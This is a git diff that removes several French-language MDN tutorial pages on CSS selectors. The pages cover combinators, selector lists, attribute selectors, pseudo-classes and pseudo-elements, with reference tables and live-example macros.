- -

{{EmbedGHLiveSample("css-examples/learn/selectors/adjacent.html", '100%', 800)}}

- -

Combinateur général de frères

- -

Si vous souhaitez sélectionner les frères d'un élément même s'ils ne sont pas directement adjacents, vous pouvez utiliser le combinateur général de frères (~). Pour sélectionner tous les éléments <img> qui viennent n'importe où après les éléments <p>, nous ferions ceci:

- -
p ~ img
- -

Dans l'exemple ci-dessous, nous sélectionnons tous les éléments <p> qui viennent après le <h1>, et même s'il y a aussi un <div> dans le document, le <p> qui vient après qu'il est sélectionné.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/general.html", '100%', 600)}}

- -

Utilisation de combinateurs

- -

Vous pouvez combiner n'importe lequel des sélecteurs que nous avons découverts dans les leçons précédentes avec des combinateurs afin de sélectionner une partie de votre document. Par exemple, si nous voulons sélectionner des éléments de liste avec une classe de "a", qui sont des enfants directs d'un <ul>, je pourrais utiliser ce qui suit.

- -
ul > li[class="a"]  {  }
- -

Faites cependant attention lorsque vous créez de grandes listes de sélecteurs qui sélectionnent des parties très spécifiques de votre document. Il sera difficile de réutiliser les règles CSS car vous avez rendu le sélecteur très spécifique à l'emplacement de cet élément dans le balisage.

- -

Il est souvent préférable de créer une classe simple et de l'appliquer à l'élément en question. Cela dit, votre connaissance des combinateurs vous sera très utile si vous avez besoin d'accéder à quelque chose dans votre document et que vous ne parvenez pas à accéder au HTML, peut-être parce qu'il est généré par un CMS.

- -

Testez vos compétences!

- -

Nous en avons beaucoup vu dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes? Vous pouvez trouver d'autres tests pour vérifier que vous avez conservé ces informations avant de continuer - voir Test your skills: Selectors.

- -

Passer à la suite

- -

Ceci est la dernière section de nos leçons sur les sélecteurs. Ensuite, nous passerons à une autre partie importante du CSS - le modèle de Boîte.

- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}

- -

Dans ce module

- -
    -
  1. Cascade et héritage
    2. -
  2. Sélecteurs CSS - -
    3. -
  3. Le modèle de Boîte
    4. -
  4. Arrières-plans et bordures
    5. -
  5. Gestion de différentes directions de texte
    6. -
  6. Débordement de contenu
    7. -
  7. Valeurs et unités
    8. -
  8. Taille des élements
    9. -
  9. Images, média, et élements de formulaire
    10. -
  10. Mise en page de tableaux
    11. -
  11. Débogage CSS
    12. -
  12. Organiser votre CSS
    13. -
diff --git a/files/fr/apprendre/css/building_blocks/selectors/index.html b/files/fr/apprendre/css/building_blocks/selectors/index.html deleted file mode 100644 index 359c762301..0000000000 --- a/files/fr/apprendre/css/building_blocks/selectors/index.html +++ /dev/null @@ -1,223 +0,0 @@ ---- -title: Sélecteurs CSS -slug: Apprendre/CSS/Building_blocks/Selectors -translation_of: Learn/CSS/Building_blocks/Selectors ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}
- -

Dans {{Glossary("CSS")}}, les sélecteurs sont utilisés pour cibler les éléments {{glossary("HTML")}} à mettre en forme dans nos pages web. CSS propose une grande diversité de sélecteurs, offrant ainsi une précision très fine dans la façon de cibler les éléments. Dans cet article nous explorerons en détails le fonctionnement de ces différents types.

- - - - - - - - - - - - -
Prérequis :Notions de base en l'informatique, logiciels de base installés, savoir manipuler des fichiers, connaissance de base de HTML (cf. Introduction à HTML.) et une première idée du fonctionnement de CSS (voir premiers pas en CSS.)
Objectif :Voir dans les détails comment les sélecteurs CSS fonctionnent.
- -

Qu'est ce qu'un sélecteur ?

- -

Vous les avez déjà rencontré : toute règle CSS commence par un sélecteur. Un sélecteur est une expression qui indique au navigateur à quelle entité HTML s'applique la règle CSS correspondante. Le ou les éléments ciblés par le sélecteur sont le sujet de ce sélecteur.

- -

Some code with the h1 highlighted.

- -

Vous avez rencontrés plusieurs sélecteurs dans des articles précédents, vous avez vu que les sélecteurs ont différentes façons de cibler le document HTML — on peut par exemple cibler les éléments h1, ou la classe  .special.

- -

En CSS, les sélecteurs sont définis dans la spécification CSS Selectors ; comme tout le reste de CSS le bon fonctionnement des sélecteurs dépend de la prise en charge par les navigateurs. La plupart des sélecteurs que vous rencontrerez sont définis dans la Level 3 Selectors specification, une spécification mature, la prise en charge par les navigateurs est donc complète.

- -

Listes de sélecteurs

- -

Quand un groupe de déclarations CSS s'applique à plusieurs éléments distincts, on peut combiner les sélecteurs individuels en une liste. Par exemple, si j'ai le même CSS pour un h1 et pour une classe .special, je pourrais écrire deux règles :

- -
h1 {
-  color: blue;
-}
-
-.special {
-  color: blue;
-}
- -

ou bien une seule règle en combinant les sélecteurs, séparés par une virgule :

- -
h1, .special {
-  color: blue;
-}
- -

L'espace est valide avant ou après la virgule. Vous trouverez peut-être la version suivante plus lisible avec un sélecteur par ligne :

- -
h1,
-.special {
-  color: blue;
-}
- -

Dans l'exemple live ci-dessous, essayez de combiner les sélecteurs dont les déclarations sont identiques. Le rendu visuel devrait être inchangé.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/selector-list.html", '100%', 1000)}} 

- -

Quand on regroupe ainsi des sélecteurs, si l'un des sélecteurs est invalide la règle toute entière sera ignorée.

- -

Dans l'exemple suivant, la règle avec le sélecteur de classe invalide sera ignorée, alors que le h1 sera mis en forme comme prévu.

- -
h1 {
-  color: blue;
-}
-
-..special {
-  color: blue;
-}
- -

En combinant les sélecteurs, la règle est considérée invalide et donc ignorée : ni h1 ni les éléments de classe .special ne seront mis en forme.

- -
h1, ..special {
-  color: blue;
-}
- -

Types de sélecteurs

- -

On peut regrouper les sélecteurs en différents groupes ; classer les sélecteurs par type vous aidera à identifier l'outil pertinent pour chaque situation. Dans les sections suivantes, nous passons en revue ces différents types de sélecteurs.

- -

Sélecteurs de type, de classe , et d'ID

- -

Ce groupe inclut les sélecteurs ciblant les élements HTML tels que <h1> :

- -
h1 { }
- -

On trouve aussi les sélecteurs ciblant une classe :

- -
.box { }
- -

ou une  ID :

- -
#unique { }
- -

Sélecteurs d'attribut

- -

Ce groupe de sélecteurs offre différents mécanismes pour cibler des éléments en fonction de la présence d'un attribut donné pour un élément donné :

- -
a[title] { }
- -

Ou même de baser la sélection sur la présence d'un attribut avec une valeur bien précise :

- -
a[href="https://example.com"] { }
- -

Pseudo-classes et pseudo-éléments

- -

Ce groupe de sélecteurs inclut les pseudo-classes, qui ciblent des éléments dans un état donné. Par exemple, la pseudo-classe :hover sélectionne un élément seulement s'il est survolé par le pointeur de la souris :

- -
a:hover { }
- -

Ce groupe inclut aussi les pseudo-éléments, qui ciblent une certaine partie d'un élément plutôt que l'élément tout entier. Par exemple, ::first-line sélectionne la première ligne d'un texte contenu dans un élément (un <p> dans l'exemple ci-dessous), comme si la première ligne du texte mis en forme était placée entre  <span>  et qu'après coup on appliquait un style sur cet élément.

- -
p::first-line { }
- -

Combinateurs

- -

Dans la dernière catégorie, on combine les sélecteurs pour cibler plus finement les éléments dans nos documents. L'exemple suivant sélectionne les paragraphes enfants directs de <article>  grâce au combinateur enfant (>) :

- -
article > p { }
- -

À faire ensuite

- -

Vous pouvez consulter ci-dessous le tableau de référence des sélecteurs avec des liens directs vers les différents types de sélecteurs dans cette section Apprendre ou dans d'autres rubriques de MDN ;  vous pouvez aussi suivre le fil de ce cours et en apprendre plus sur les sélecteurs de type, de classe, et d'ID.

- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}

- -

Table de référence des sélecteurs

- -

Le tableau ci-dessous donne un aperçu des sélecteurs disponibles, ainsi que des liens vers les pages qui vous montreront comment utiliser chaque type de sélecteur. J'ai également inclus un lien vers la page MDN pour chaque sélecteur où vous pouvez vérifier les informations sur la prise en charge par les navigateurs. Pour la suite de ce cours, ou dans vos expériences CSS à venir, cette table sera votre référence quand vous  rechercherez des informations sur les sélecteurs.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SélecteurExempleTutoriel CSS
Sélecteur de typeh1 {  }Sélecteurs de type
Sélecteur universel* {  }The universal selector
Sélecteur de classe.box {  }Class selectors
Sélecteur d'ID#unique { }ID selectors
Sélecteur d'attributa[title] {  }Attribute selectors
Pseudo-class selectorsp:first-child { }Pseudo-classes
Pseudo-element selectorsp::first-line { }Pseudo-elements
Sélecteur descendantarticle pDescendant combinator
Sélecteur enfantarticle > pChild combinator
Sélecteur de frére adjacenth1 + pAdjacent sibling
Sélecteur de frère généralh1 ~ pGeneral sibling
- -

Dans ce module

- -
    -
  1. Cascade and inheritance
    2. -
  2. CSS selectors - -
    3. -
  3. The box model
    4. -
  4. Backgrounds and borders
    5. -
  5. Handling different text directions
    6. -
  6. Overflowing content
    7. -
  7. Values and units
    8. -
  8. Sizing items in CSS
    9. -
  9. Images, media, and form elements
    10. -
  10. Styling tables
    11. -
  11. Debugging CSS
    12. -
  12. Organizing your CSS
    13. -
diff --git "a/files/fr/apprendre/css/building_blocks/selectors/pseudo-classes_et_pseudo-\303\251l\303\251ments/index.html" "b/files/fr/apprendre/css/building_blocks/selectors/pseudo-classes_et_pseudo-\303\251l\303\251ments/index.html" deleted file mode 100644 index 6bfb96e324..0000000000 --- "a/files/fr/apprendre/css/building_blocks/selectors/pseudo-classes_et_pseudo-\303\251l\303\251ments/index.html" +++ /dev/null @@ -1,399 +0,0 @@ ---- -title: Pseudo-classes et pseudo-éléments -slug: Apprendre/CSS/Building_blocks/Selectors/Pseudo-classes_et_pseudo-éléments -tags: - - Apprendre - - CSS - - Débutant - - Pseudo - - Pseudo-class - - Pseudo-element - - Sélecteurs -translation_of: Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements ---- -

{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}

- -

Voyons maintenant les sélecteurs de pseudo-classes et de pseudo-éléments. Il en existe un grand nombre, ces sélecteurs sont souvent assez spécifiques. Une fois que vous aurez compris comment les utiliser, revenez consulter leur liste pour voir si quelque chose peut fonctionner dans la tâche que vous essayez d'accomplir. Une fois encore, vérifiez la prise en charge par les navigateurs sur la page MDN associée à chaque sélecteur.

- - - - - - - - - - - - -
Prérequis :Maîtrise élémentaire de l'informatique, suite logicielle de base installée, compétences élémentaires pour travailler avec des fichiers, connaissance de base du HTML  (cf. Introduction à HTML), et une idée de Comment fonctionne CSS.
Objectif :Découvrir les sélecteurs de pseudo-classes et de pseudo-éléments.
- -

Qu'est ce qu'une pseudo-classe ?

- -

Une pseudo-classe est un sélecteur ciblant des éléments dans un état spécifique, par ex. le premier élément d'un type, ou un élément survolé par le pointeur de la souris. Leur comportement correspond à celui d'une classe, mais qui ne s'appliquerait que partiellement. On gagne ainsi en flexibilité, en éliminant du code inutile. Le résultat est plus facile à maintenir.

- -

Les pseudo-classes sont signalées par un mot clé commençant par deux points :

- -
:pseudo-class-name
- -

Exemple d'une pseudo-classe élémentaire 

- -

Voyons cela dans un premier exemple. Pour agrandir et mettre en gras le texte du premier paragraphe d'un article, on pourrait attribuer une classe à ce paragraphe, puis lui ajouter du CSS, comme ci-dessous :

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/first-child.html", '100%', 800)}}

- -

Mais cette solution est difficile à maintenir — que se passe-t-il si un nouveau paragraphe est ajouté en haut du document ? Il faut dans ce cas déplacer manuellement la classe vers le nouveau paragraphe. Une solution plus souple est d'utiliser le sélecteur de pseudo-classe {{cssxref (": first-child")}} — cela cible dans tous les cas le premier élément enfant de l'article : plus nécessaire d'éditer le code HTML (particulièrement utile en particulier quand le code HTML est généré par un CMS.)

- -

{{EmbedGHLiveSample ("css-examples/learn/selectors/first-child2.html", '100%', 700)}}

- -

Toutes les pseudo-classes se comportent de la même manière. Elles ciblent les éléments du document dans un état donné, comme si vous aviez ajouté une classe dans votre code HTML. Jetez un œil à quelques exemples sur MDN :

- - - -

Pseudo-classes d'action utilisateur

- -

Certaines pseudo-classes ne s'appliquent que lorsque l'utilisateur interagit avec le document d'une manière ou d'une autre. Ces pseudo-classes d'action utilisateur, parfois appelées pseudo-classes dynamiques, agissent comme si une classe avait été ajoutée à l'élément lorsque l'utilisateur interagit avec lui. Par exemple :

- -

:hover — mentionné ci-dessus ; s'applique quand l'utilisateur déplace son pointeur sur un élément, généralement un lien.
- :focus — s'applique uniquement si l'utilisateur concentre l'élément à l'aide des commandes du clavier.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/hover.html", '100%', 500)}}

- -

Qu'est ce qu'un pseudo-élément ?

- -

Les pseudo-éléments se comportent de manière similaire, même s'ils se comportent comme si vous aviez ajouté un tout nouvel élément HTML dans le balisage, au lieu d'appliquer une classe à des éléments existants. Les pseudo-éléments commencent avec un double deux-points ::.

- -
::pseudo-element-name
- -
-

Note : Certains anciens pseudo-éléments utilisaient un simple deux-points, vous pouvez donc parfois rencontrer cette syntaxe dans du code ou des exemples. Les navigateurs modernes supportent les anciens pseudo-éléments avec un simple ou double deux-points pour assurer la compatibilité.

-
- -

Par exemple, si vous souhaitez sélectionner la première ligne d'un paragraphe, vous pouvez l'entourer d'un élément <span> et utiliser un sélecteur d'éléments ; cependant, cela échouerait si le nombre de mots que vous avez entourés était plus long ou plus court que la largeur de l'élément parent. Comme nous avons tendance à ne pas savoir combien de mots tiendront sur une ligne - étant donné que cela peut varier si la largeur de l'écran ou la taille de la police change - il est impossible de le faire de manière robuste en ajoutant du HTML.

- -

Le pseudo-sélecteur d'éléments ::first-line  le fera pour vous de manière fiable - même si le nombre de mots augmente ou diminue, il ne sélectionnera que la première ligne.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/first-line.html", '100%', 800)}}

- -

Il agit comme si un <span> était comme par magie placé autour de cette première ligne formatée, et était mis à jour à chaque fois que la longueur de la ligne changeait.

- -

Vous pouvez voir que cela sélectionne la première ligne des deux paragraphes.

- -

Combiner pseudo-classes et pseudo-éléments

- -

Si vous souhaitez mettre en gras la première ligne du premier paragraphe, vous pouvez enchaîner les sélecteurs :first-child et ::first-line Essayez de modifier l'exemple précédent en direct pour qu'il utilise le CSS suivant. Nous souhaitons sélectionner la première ligne du premier élément <p>, qui se trouve à l'intérieur d'un élément <article>

- -
article p:first-child::first-line {
-  font-size: 120%;
-  font-weight: bold;
-}
- -

Générer du contenu avec ::before et ::after

- -

Il existe quelques pseudo-éléments spéciaux, qui sont utilisés avec la propriété content pour insérer du contenu dans votre document en utilisant le CSS.

- -

Vous pouvez les utiliser pour insérer une chaîne de texte, comme dans l'exemple ci-dessous. Essayez de changer la valeur du texte de la propriété {{cssxref("content")}} et vous verrez qu'elle change en sortie. Vous pouvez également changer le pseudo-élément ::before en  ::after et voir le texte inséré à la fin de l'élément au lieu du début.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/before.html", '100%', 400)}}

- -

L'insertion de chaînes de caractères à partir de CSS n'est pas vraiment quelque chose que nous faisons très souvent sur le web, car ce texte est inaccessible pour certains lecteurs d'écran et pourrait être difficile à trouver et à modifier à l'avenir.

- -

Une utilisation plus pertinente de ces pseudo-éléments consiste à insérer une icône, par exemple la petite flèche ajoutée dans l'exemple ci-dessous, qui est un indicateur visuel que nous ne voudrions pas voir lu par un lecteur d'écran :

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/after-icon.html", '100%', 400)}}

- -

Ces pseudo-éléments sont aussi fréquemment utilisés pour insérer une chaîne vide, qui peut ensuite être stylisée comme n'importe quel élément de la page.

- -

Dans l'exemple suivant, nous avons ajouté une chaîne vide en utilisant le e pseudo-élément ::before pseudo-element. Nous l'avons défini en display: block afin de pouvoir la styliser avec une largeur et une hauteur. Nous utilisons ensuite le CSS pour la styliser comme n'importe quel élément. Vous pouvez jouer avec le CSS et modifier son apparence et son comportement.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/before-styled.html", '100%', 500)}}

- -

L'utilisation des pseudo-éléments ::before et ::after avec la propriété content est appelée "Generated Content" en CSS, et vous verrez souvent cette technique utilisée pour diverses tâches. Un bon exemple est le site CSS Arrow Please, qui vous aide à générer une flèche avec le CSS. Examinez le CSS lorsque vous créez votre flèche et vous verrez les pseudo-éléments {{cssxref("::before")}} and {{cssxref("::after")}}utilisés. Chaque fois que vous voyez ces sélecteurs, regardez la propriété {{cssxref("content")}} pour voir ce qui est ajouté au document.

- -

Section de référence

- -

Il existe un grand nombre de pseudo-classes et pseudo-éléments, une bonne liste de références est donc utile. Vous trouverez ci-dessous des tableaux les répertoriant, avec pour chacun le lien vers la page de référence sur MDN. Vous y trouverez toutes les informations sur leur utilisation.

- -

Pseudo-classes

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SélecteurDescription
{{ Cssxref(":active") }}Matches when the user activates (for example clicks on) an element.
{{ Cssxref(":any-link") }}Matches both the :link and :visited states of a link.
{{ Cssxref(":blank") }}Matches an <input> element whose input value is empty.
{{ Cssxref(":checked") }}Matches a radio button or checkbox in the selected state.
{{ Cssxref(":current") }}Matches the element, or an ancestor of the element, that is currently being displayed.
{{ Cssxref(":default") }}Matches the one or more UI elements that are the default among a set of similar elements.
{{ Cssxref(":dir") }}Select an element based on its directionality (value of the HTML dir attribute or CSS direction property).
{{ Cssxref(":disabled") }}Matches user interface elements that are in an disabled state.
{{ Cssxref(":empty") }}Matches an element that has no children except optionally white space.
{{ Cssxref(":enabled") }}Matches user interface elements that are in an enabled state.
{{ Cssxref(":first") }}In Paged Media, matches the first page.
{{ Cssxref(":first-child") }}Matches an element that is first among its siblings.
{{ Cssxref(":first-of-type") }}Matches an element which is first of a certain type among its siblings.
{{ Cssxref(":focus") }}Matches when an element has focus.
{{ Cssxref(":focus-visible")}}Matches when an element has focus and the focus should be visible to the user.
{{ Cssxref(":focus-within") }}Matches an element with focus plus an element with a descendent that has focus.
{{ Cssxref(":future") }}Matches the elements after the current element.
{{ Cssxref(":hover") }}Matches when the user hovers over an element.
{{ Cssxref(":indeterminate") }}Matches UI elements whose value is in an indeterminate state, usually checkboxes.
{{ Cssxref(":in-range") }}Matches an element with a range when its value is in-range.
{{ Cssxref(":invalid") }}Matches an element, such as an <input>, in an invalid state.
{{ Cssxref(":lang") }}Matches an element based on language (value of the HTML lang attribute).
{{ Cssxref(":last-child") }}Matches an element which is last among its siblings.
{{ Cssxref(":last-of-type") }}Matches an element of a certain type that is last among its siblings.
{{ Cssxref(":left") }}In Paged Media, matches left-hand pages.
{{ Cssxref(":link")}}Matches unvisited links.
{{ Cssxref(":local-link")}}Matches links pointing to pages that are in the same site as the current document.
{{ Cssxref(":is", ":is()")}}Matches any of the selectors in the selector list that is passed in.
{{ Cssxref(":not") }}Matches things not matched by selectors that are passed in as a value to this selector.
{{ Cssxref(":nth-child") }}Matches elements from a list of siblings — the siblings are matched by a formula of the form an+b (e.g. 2n + 1 would match elements 1, 3, 5, 7, etc. All the odd ones.)
{{ Cssxref(":nth-of-type") }}Matches elements from a list of siblings that are of a certain type (e.g. <p> elements) — the siblings are matched by a formula of the form an+b (e.g. 2n + 1 would match that type of element, numbers 1, 3, 5, 7, etc. All the odd ones.)
{{ Cssxref(":nth-last-child") }}Matches elements from a list of siblings, counting backwards from the end. The siblings are matched by a formula of the form an+b (e.g. 2n + 1 would match the last element in the sequence, then two elements before that, then two elements before that, etc. All the odd ones, counting from the end.)
{{ Cssxref(":nth-last-of-type") }}Matches elements from a list of siblings that are of a certain type (e.g. <p> elements), counting backwards from the end. The siblings are matched by a formula of the form an+b (e.g. 2n + 1 would match the last element of that type in the sequence, then two elements before that, then two elements before that, etc. All the odd ones, counting from the end.)
{{ Cssxref(":only-child") }}Matches an element that has no siblings.
{{ Cssxref(":only-of-type") }}Matches an element that is the only one of its type among its siblings.
{{ Cssxref(":optional") }}Matches form elements that are not required.
{{ Cssxref(":out-of-range") }}Matches an element with a range when its value is out of range.
{{ Cssxref(":past") }}Matches the elements before the current element.
{{ Cssxref(":placeholder-shown") }}Matches an input element that is showing placeholder text.
{{ Cssxref(":playing") }}Matches an element representing an audio, video, or similar resource that is capable of being “played” or “paused”, when that element is “playing”.
{{ Cssxref(":paused") }}Matches an element representing an audio, video, or similar resource that is capable of being “played” or “paused”, when that element is “paused”.
{{ Cssxref(":read-only") }}Matches an element if it is not user-alterable.
{{ Cssxref(":read-write") }}Matches an element if it is user-alterable.
{{ Cssxref(":required") }}Matches form elements that are required.
{{ Cssxref(":right") }}In Paged Media, matches right-hand pages.
{{ Cssxref(":root") }}Matches an element that is the root of the document.
{{ Cssxref(":scope") }}Matches any element that is a scope element.
{{ Cssxref(":valid") }}Matches an element such as an <input> element, in a valid state.
{{ Cssxref(":target") }}Matches an element if it is the target of the current URL (i.e. if it has an ID matching the current URL fragment).
{{ Cssxref(":visited") }}Matches visited links.
- -

Pseudo-éléments

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SélecteurDescription
{{ Cssxref("::after") }}Matches a stylable element appearing after the originating element's actual content.
{{ Cssxref("::before") }}Matches a stylable element appearing before the originating element's actual content.
{{ Cssxref("::first-letter") }}Matches the first letter of the element.
{{ Cssxref("::first-line") }}Matches the first line of the containing element.
{{ Cssxref("::grammar-error") }}Matches a portion of the document containing a grammar error as flagged by the browser.
{{ Cssxref("::selection") }}Matches the portion of the document that has been selected.
{{ Cssxref("::spelling-error") }}Matches a portion of the document containing a spelling error as flagged by the browser.
- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}

- -

Dans ce cours

- -
    -
  1. Cascade and inheritance
    2. -
  2. CSS selectors - -
    3. -
  3. The box model
    4. -
  4. Backgrounds and borders
    5. -
  5. Handling different text directions
    6. -
  6. Overflowing content
    7. -
  7. Values and units
    8. -
  8. Sizing items in CSS
    9. -
  9. Images, media, and form elements
    10. -
  10. Styling tables
    11. -
  11. Debugging CSS
    12. -
  12. Organizing your CSS
    13. -
diff --git "a/files/fr/apprendre/css/building_blocks/selectors/s\303\251lecteurs_d_atrribut/index.html" "b/files/fr/apprendre/css/building_blocks/selectors/s\303\251lecteurs_d_atrribut/index.html" deleted file mode 100644 index 415d455e9b..0000000000 --- "a/files/fr/apprendre/css/building_blocks/selectors/s\303\251lecteurs_d_atrribut/index.html" +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Sélecteurs d'attribut -slug: Apprendre/CSS/Building_blocks/Selectors/Sélecteurs_d_atrribut -tags: - - Apprendre - - Attribut - - CSS - - Débutant - - Sélecteurs -translation_of: Learn/CSS/Building_blocks/Selectors/Attribute_selectors ---- -

{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}

- -

Dans l'étude de HTML, nous avons vu les attributs d'un élément. En CSS, on peut utiliser ces attributs pour cibler les éléments. Cette leçon vous montre comment.

- - - - - - - - - - - - -
Prérequis :Maîtrise élémentaire de l'informatique, suite logicielle de base installée, compétences élémentaires pour travailler avec des fichiers, connaissance de base du HTML  (cf. Introduction à HTML), et une idée de Comment fonctionne CSS.
Objectif :Découvrir les sélecteurs d'attribut et comment les utiliser.
- -

Sélecteur de présence et de valeur

- -

Ces sélecteurs permettent de cibler un élément en fonction de la présence d'un attribut unique (par exemple href), ou sur des correspondances variées avec la valeur d'un attribut donné

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SélecteurExempleDescription
[attr]a[title]Cible les éléments avec un attribut du nom de attr — la valeur entre les crochets droits.
[attr=value]a[href="https://example.com"]Cible les éléments dont l'attribut attr a la valeur value — la chaîne entre guillemets.
[attr~=value]p[class~="special"] -

Cible les éléments avec un attribut attr dont la valeur est exactement value, ou les éléments dont l'attribut attr contient une ou plusieurs valeurs, dont au moins une correspond à value.

- -

Notez que dans une liste de plusieurs valeurs, le séparateur est l'espace.

-
[attr|=value]div[lang|="zh"]Cible les éléments avec un attribut attr dont la valeur peut être exactement value ou peut commencer par value immédiatement suivie d'un trait d'union.
- -

Dans l'exemple ci-dessous vous voyez ces sélecteurs en action :

- - - -

{{EmbedGHLiveSample("css-examples/learn/selectors/attribute.html", '100%', 800)}}

- -

Sélecteurs ciblant une sous-chaîne 

- -

Ces sélecteurs permettent une sélection plus fine des sous-chaînes à l'intérieur de la valeur de l'attribut. Par exemple, vous avez défini des classes  box-warning et box-error,  vous voulez cibler les classes dont le nom commence par "box-". Le sélecteur d'attribut [class ^= "box-"] est là pour ça.

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SélecteurExempleDescription
[attr^=value]li[class^="box-"]élément sélectionné quand la valeur value de l'attribut attr commence par la sous-chaîne value.
[attr$=value]li[class$="-box"]élément sélectionné quand la valeur de l'attribut attr finit par la sous-chaîne value. 
[attr*=value ]li[class*="box"]élément sélectionné quand la
- la sous-chaîne value apparaît quelque part dans la valeur de l'attribut attr.
- -

L'exemple suivant montre ces sélecteurs en action :

- - - -

{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-substring.html", '100%', 800)}}

- -

Sensibilité à la casse

- -

Pour cibler des valeurs d'attribut sans prendre en compte la casse (majucule ou minuscule indifférentes), ajoutez la valeur i avant la parenthèse fermante. Ce drapeau signale au navigateur d'identifier les caractères ASCII sans se préoccuper de la casse (a = A). Sans le drapeau i, les valeurs seront identifiées selon la sensibilité à la casse de la langue du document — HTML est sensible à la casse.

- -

Dans l'exemple ci-dessous, le premier sélecteur cible les valeurs commençant par un a — seul le premier élément de la liste est ciblé, les deux suivants commencent par un A majuscule. Le second sélecteur est marqué du drapeau insensible à la casse, il cible donc tous les éléments de la liste.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-case.html", '100%', 800)}}

- -
-

Note : Dans des contextes normalement insensibles à la casse, on peut forcer la sensibilité avec la valeur s nouvellement introduite, mais sa prise en charge par les navigateurs est inégale ; elle n'est pas très utile dans un contexte HTML.

-
- -

À faire vous-mêmes

- -

Dans l'exemple live ci-dessous, ajoutez les sélecteurs d'attribut pour obtenir les comportements suivants :

- - - -

{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-links.html", '100%', 800)}}

- -
-

Note : Vous pouvez jeter un œil à la solution ici —  mais essayez d'abord de la trouver par vous-même !

-
- -

Pas suivants

- -

Nous en avons fini avec les sélecteurs d'attribut, vous pouvez maintenant continuer la visite et passer aux sélecteurs de pseudo-classes et pseudo-éléments.

- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}

- -

Dans ce cours

- -
    -
  1. Cascade and inheritance
    2. -
  2. CSS selectors - -
    3. -
  3. The box model
    4. -
  4. Backgrounds and borders
    5. -
  5. Handling different text directions
    6. -
  6. Overflowing content
    7. -
  7. Values and units
    8. -
  8. Sizing items in CSS
    9. -
  9. Images, media, and form elements
    10. -
  10. Styling tables
    11. -
  11. Debugging CSS
    12. -
  12. Organizing your CSS
    13. -
diff --git "a/files/fr/apprendre/css/building_blocks/selectors/s\303\251lecteurs_de_type_classe_id/index.html" "b/files/fr/apprendre/css/building_blocks/selectors/s\303\251lecteurs_de_type_classe_id/index.html" deleted file mode 100644 index f6d0580279..0000000000 --- "a/files/fr/apprendre/css/building_blocks/selectors/s\303\251lecteurs_de_type_classe_id/index.html" +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: 'Sélecteurs de type, de classe et d''ID' -slug: Apprendre/CSS/Building_blocks/Selectors/Sélecteurs_de_type_classe_ID -translation_of: Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors ---- -

{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}

- -

Dans cette leçon, nous examinons les sélecteurs les plus simples qu'on puisse trouver, ce sont ceux que vous utiliserez le plus couramment dans votre travail.

- - - - - - - - - - - - -
Prérequis :Notions de base en l'informatique, logiciels de base installés, savoir manipuler des fichiers, connaissance de base de HTML (cf. Introduction à HTML.) et une première idée du fonctionnement de CSS (voir premiers pas en CSS.)
Objectif :Voir dans les détails comment les sélecteurs CSS fonctionnent.
- -

Sélecteur de type

- -

Un sélecteur de type cible un élément HTML (une balise) de votre document, on parle aussi de sélecteur de balise ou d'élément. Dans l'exemple ci-dessous on utilise les sélecteurs span, em et strong. Chaque instance de <span>, <em> et <strong> est ainsi mise en forme.

- -

Essayez d'ajouter une règle CSS pour sélectionner l'élément <h1> et changer sa couleur en bleu.

- -

{{EmbedGHLiveSample("css-examples/learn/selectors/type.html", '100%', 1100)}}

- -

Le sélecteur universel

- -

